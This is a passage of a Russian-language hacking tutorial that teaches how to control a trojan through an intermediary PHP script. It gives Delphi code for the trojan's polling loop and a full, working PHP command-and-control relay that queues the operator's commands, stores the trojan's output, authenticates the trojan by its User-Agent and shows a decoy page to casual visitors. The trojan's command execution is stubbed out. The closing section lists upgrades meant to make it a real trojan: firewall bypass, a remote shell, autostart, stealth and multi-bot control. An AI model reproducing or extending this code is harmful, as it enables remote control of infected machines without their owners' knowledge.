Код, реализующий это, выглядит так:
// сначала запрос пустой
request:='';
// цикл работы трояна
while true do
begin
// отсылаем скрипту запрос
if (SendStringViaHTTP('127.0.0.1', 'test1.ru', 80, '/index.php', request, answer)<>0) then
begin
// если отослать не удалось - ждём минуту и крутим следующую итерацию
sleep(1000*SEC);
continue;
end;
// если отослать удалось - проверим answer
if (answer='') then
begin
// команд от хакера нет - очистим
reques,
// ждём минуту и крутим следующую итерацию
request:='';
sleep(1000*SEC);
continue;
end;
// если управление дошло сюда - в answer у нас команда хакера
// выполняем команду
request:=DoCommand(answer);
end;
Здесь answer и request у нас глобальные переменные типа AnsiString. В
answer находится очередная команда хакера, которую передал скрипт.
Команду выполняет функция DoCommand (о ней мы поговорим чуть
позже). Та же функция возвращает результаты выполнения команды, которые
заносятся в request и немедленно передаются скрипту. Если команд от
скрипта не поступало, троян "засыпает" на SEC секунд, а потом опять
шлёт запрос скрипту.
Естественно, аргументы 127.0.0.1 и test1.ru функции SendStringViaHTTP
взяты "от фонаря", вместо них должны строять реальные хосты и/или IP
адреса.
Теперь о функции DoCommand и о самих командах. Что бы не делать из
нашего примера настоящий троян (УК-то ещё действует ;)), на любую
команду, переданную хакером, троян будет отвечать текстом типа:
23.06.05 01:30:14] Принята к выполнению команда: dir
Результат выполнения:
Троян не настоящий ;), поэтому вместо результата выполнения команды dir выводит этот текст! ;))
Таким образом наш "троян" не выполняет никаких команд, он лишь сообщает, когда и какую
команду принял от скрипта. Как видим, всё вполне цивильно - безобидная программка демонстрирует принцип ;)))
Код процедуры DoCommand с подробными комментариями:
// функция выполняет команду и
возвращает результат выполнения
function DoCommand(comm: AnsiString): AnsiString;
var
systime: SYSTEMTIME;
begin
// проверим, есть ли там вообще команда
if comm='' then
begin
// нет - вернём пустую строку
Result:='';
exit;
end;
// если управление дошло сюда, значит команда есть
// зафиксируем время поступления команды на выполнение
Result:=StringOfChar(' ', 8+1+8); // 8 на dd.MM.yy, 1 на пробел, 8 на HH:mm:ss
GetLocalTime(systime);
GetDateFormat(0, 0, @systime, 'dd.MM.yy', @Result[1], 8);
GetTimeFormat(0, 0, @systime, 'HH:mm:ss', @Result[10], 8);
// зафиксируем команду, которая пришла на исполнение
Result:=Result+'] Принята к выполнению команда: <b>'+comm+'</b><br>';
// сообщение о результате выполнения:
Result:=Result+'Результат выполнения: <br>';
// если бы это был настоящий троян, тут бы выполнялась переданная
// команда и мы бы дописали результат её выполнения в конец
Result,
// но т.к. это лишь пример, мы допишем туда только этот текст:
Result:=Result+'Троян не настоящий ;), поэтому вместо результата '+
'выполнения команды <b>'+comm+'</b> выводит этот текст! ;))<br>';
end;
Думаю, никаких дополнительных объяснений к приведённому коду не требуется. Уффф... с трояном мы вроде бы
разобрались. Перейдём теперь к скрипту посреднику.
Скрипт-посредник
Скрипт-посредник напишем на PHP. Во-первых бесплатный хостинг с PHP -
это действительно не проблема. Во-вторых PHP похож на C++, что само по
себе не может не радовать ;)
Прежде всего, скрипт должен знать пароль трояна, поэтому в самом начале скрипта определим переменную:
$TROJAN_PSW = '<тут пароль трояна>';
При каждом обращении скрипт должен проверять, не троян ли к нему
обратился. Для этого достаточно посмотреть поле заголовка User-Agent:
if($_SERVER['HTTP_USER_AGENT']==$TROJAN_PSW){
// запрос прислал троян - обрабатываем!
... ... ...
};
Обрабатывая запрос трояна, сначала посмотрим, прислал ли он
какие-нибудь данные. Для этого проверим, передан ли
скрипту параметр data. Если data передан и это не пустая строка -
допишем его в конец файла trojan.txt. Когда скрипт будет обрабатывать
запрос хакера, он через web-интерфейс отдаст ему содержимое файла
trojan.txt.
Кодом следующий:
if(isset($_POST['data'])){
// есть параметр data!
$data = $_POST['data'];
if($data!=''){
// строка в $data не пуста - допишем её
в
// файл trojan.txt
$f = fopen('trojan.txt', 'a+');
fwrite($f, $data."<br>");
fclose($f);
};
};
Дальше нам необходимо передать трояну очередную
команду от хакера. Команды, которые хакер передаёт скрипту, сохраняются
в текстовом файле hacker.txt. Поэтому мы для начала проверим,
существует ли файл hacker.txt вообще:
if(file_exists('hacker.txt')){
// файл существует - работаем с ним
... ... ...
};
В каждой строке файла hacker.txt содержится по одной команде. Это очень
удобно, потому что мы должны отдавать трояну как раз по одной команде
за запрос. Причём в том же порядке, в котором хакер присылал эти
команды скрипту.
Реализуется это так. Сперва мы считываем файл в массив $a:
// каждая строка файла становится элементом массива
$a = file('hacker.txt');
Затем проверяем, не пуст ли массив - ведь файл hacker.txt может
существовать, но быть пустым. Если массив не пустой, мы берём из него
первый элемент (вернее нулевой элемент - первую команду в файле
hacker.txt). Прежде чем отдать команду скрипту, мы её "почистим":
уберём байты 0x0D, 0x0A (функции addcslashes и replace) и пробелы в
начале и конце (функция trim). Затем мы отдадим "почищенную" команду
трояну и удалим hacker.txt:
if (count($a)>0){
print trim(str_replace('\r', '', str_replace('\n', '', (addcslashes($a[0], "\r\n")))));
unlink('hacker.txt');
};
Если переданная нами команды была единственной, мы оставим всё как есть
- при надобности скрипт снова создаст файл hacker.txt. Если же кроме в
hacker.txt были другие команды, создадим этот файл заново и запишем их
туда - но уже без первой, т.к. её отдали скрипту:
// есть ли ещё команды?
if (count($a)>1){
// да! - запишем их обратно в hacker.txt
$f = fopen('hacker.txt', 'w');
for($i=1;$i<count($a);$i++){
fwrite($f, $a[$i]);
};
fclose($f);
};
На этом работа с трояном завершена - пошлём ему строку '</body>'
(ведь именно по ней функция трояна SendStringViaHTTP узнаёт, что
передача данных от скрипта закончена) и "убьём" скрипт:
die('</body>');
В скрипте сразу за кодом, который работает с трояном, следует код,
работающий с хакером. Скрипт "узнаёт" хакера по паролю, переданному в
параметре psw методом GET или POST. Правильное значение пароля хранится
в
переменной $HACKER_PSW, которая в скрипте прописана сразу за
$TROJAN_PSW.
Проверка параметра psw осуществляется так:
if(isset($_GET['psw'])){$psw = $_GET['psw'];};
if(isset($_POST['psw'])){$psw = $_POST['psw'];};
Если пароль передан (переменная $psw существует), проверим правильный ли он:
if(isset($psw)){
if($psw==$HACKER_PSW){
// передан правильный пароль - запрос прислал хакер
// обрабатываем
... ... ...
};
};
Обработка запроса идёт по следующей схеме. Во первых проверим, передал
ли хакер какую-то команду. Команды хакера передаются в параметре cmd,
который посылается скрипту методом POST. Если команда от хакера есть,
обрежем в ней справа и слева пробелы (функция trim) и проверим, не
является ли команда пустой строкой. Если не является - допишем её в
конец файла hacker.txt (в нём, как мы уже говорили,
хранятся команды хакера). Код, реализующий всё это, достаточно прост:
if(isset($_POST['cmd'])){
// да, передал - проверим, или команда не пустая
$cmd = trim($_POST['cmd']);
if($cmd!=''){
// непустая - запишем её в файл
$f = fopen('hacker.txt', 'a+');
fwrite($f, $cmd."\n");
fclose($f);
};
};
После того, как команда хакера принята и сохранена, позаботимся о
веб-интерфейсе. Сформируем "шапку" - верхнюю часть html-странички,
которую хакер увидит в своём браузере. В "шапке" будет раздел HEAD и
начало раздела BODY.
В BODY мы пропишем форму с текстовым полем cmd (сюда хакер будет
вводить команды), submit-кнопкой и скрытым полем psw, содержащим пароль
хакера. В качестве скрипта-назначения данных формы укажем пустую строку
(т.е. сам наш скрипт), а в качестве метода - POST. Таким образом при
каждой отправке данных из формы скрипт кроме команды в cmd будет
поучать ещё и пароль в psw - и таким образом определять, что команду в
cmd ему прислал хакер.
Только при первом вызове скрипта хакеру нужно будет сформировать
GET-запрос с параметром psw=<пароль_хакера>. Это легко сделать
"ручками" прямо в адресной строке браузера или создать соответствующий
ярлык (естественно, хост test1.ru взят "от фонаря"):
Кроме того, мы разместим на форме надпись "обновить", под которую
положим ссылку вида
http://<адрес_скрипта>?psw=<пароль_хакера>. Когда хакер
будет на неё кликать, скрипту будет передаваться пароль методом GET без
каких-либо данных. Таким образом скрипт будет просто вызываться
повторно, ничего не записывая в hacker.txt. Зачем это надо? Забегая
наперёд скажу, что сразу за "шапкой" мы будем выводить содержимое файла
trojan.txt (если помните, это файл с сообщениями трояна). Поэтому
ссылка "обновить" нужна для того, что бы в web-интерфейсе можно было
посмотреть, какие сообщения добавились в trojan.txt со времени
последнего обращения хакера к скрипту.
Код, формирующий "шапку", имеет такой вид:
print
'<html><head><title>Пример к статье "УПРАВЛЕНИЕ
ТРОЯНОМ ЧЕРЕЗ WEB-ИНТЕРФЕЙС
СКРИПТА-ПОСРЕДНИКА"</title></head>
<body>
<form name="cmdForm" action="" method="post">
<input name="cmd" type="text" value="">
<input type="submit" value="Send">
<input name="psw" type="hidden" value="'.$HACKER_PSW.'">
<br>[ <a href="'.$_SERVER['SCRIPT_NAME'].'?psw='.$HACKER_PSW.'">обновить</a> ]
</form>
<hr>
';
В браузере сформированная шапка выглядит примерно так:
После "шапки" выведем содержимое файла trojan.txt. Тут всё очень
просто:
if(file_exists('trojan.txt')){
// файл существует
$a = file('trojan.txt');
// выведем его
for($i=0;$i<count($a);$i++){
print $a[$i];
};
};
Закончим формирование страницы web-интерфейса:
die('</body></html>');
Web-интерфейс трояна будет иметь примерно такой вид:
Хорошо, а что если наш скрипт вызвали случайно? Ну, там, какой-нибудь
Вася Пупкин нашёл ссылочку "гуглом"? Ничего страшного! =) Поскольку при
обычном вызове скрипта никаких паролей ему не передаётся, то коды
обработки запросов трояна и хакера просто не получат управления.
Однако специально для Васи Пупкина мы выведем следующий "содержательный" контент
:-D:
Код, который это делает, разместим в самом конце скрипта:
print "<head><title>Свободу хомячкам!</title></head>
<body>
<h1>Сайт общества защиты хомячков от сексуально насилия, излучений озоновых дыр и пьяных аспирантов биофака.</h1>
<h2>Under Construction!</h2>
</body>";
Ну вот, со скриптом вроде бы тоже разобрались. Можно подводить итоги.
Итоги
Конечно, в статье описан не полноценный троян, а программка-пример,
которая лишь демонстрирует принцип управления трояном через серверный
скрипт. Исходники, кстати, лежат
здесь. Программа нормально компилируется под Delphi 7, для PHP-скрипта нужен интерпретатор PHP 4.x, можно под Windows.
Конечно, этот пример при определённой доработке вполне может стать
настоящим трояном. В наш троян можно добавить добавил такие фишки:
- более совершенный механизм проверки соединения с и-нетом,
определение прокси (если троян попал в локальную сеть, которая видит
нет только через прокси) и работа через него;
- улучшеная работа с HTTP (хотя бы проверка кодов ответа сервера);
- механизм обхода файрволов (внедрение в браузер, дравер или ещё что-то тип этого);
- выполнение трояном команд (например, удалённая cmd-консоль);
- автозагрузка, невидимость и пр. фишки, которые есть в любом трояне;
А скрипту бы не помешало:
- генерировать случайные имёна для файлов trojan.txt и
hacker.txt;
- предотвращать
совместный доступ к этим файлам (может случится, что и троян и хакер
одновременно запустят скрипт-посредник, и тогда две копии скрипта могут
"поссориться" из-за доступа к файлам);
- формировать более
удобный и функциональный web-интерфейс с поддержкой двух фреймов:
первый с формой, второй - с данными скрипта, и что бы обновлялся
автоматически, а сообщения трояна что бы добавлялись наверх, как в
чатах;
- выводить какую-то дополнительную информацию, а не
одни только ответы трояна: например, показывать, какие из посланных
команд переданы трояну, а какие ещё ожидают своей очереди;
- давать возможность управлять сразу несколькими копиями трояна;
- ещё какие-то мелкие удобства вроде приятного дизайна, кнопки "очистить файл trojan.txt" и т.п.
Как видим, работы ещё много. Но это не страшно - ведь всё в наших руках ;))
|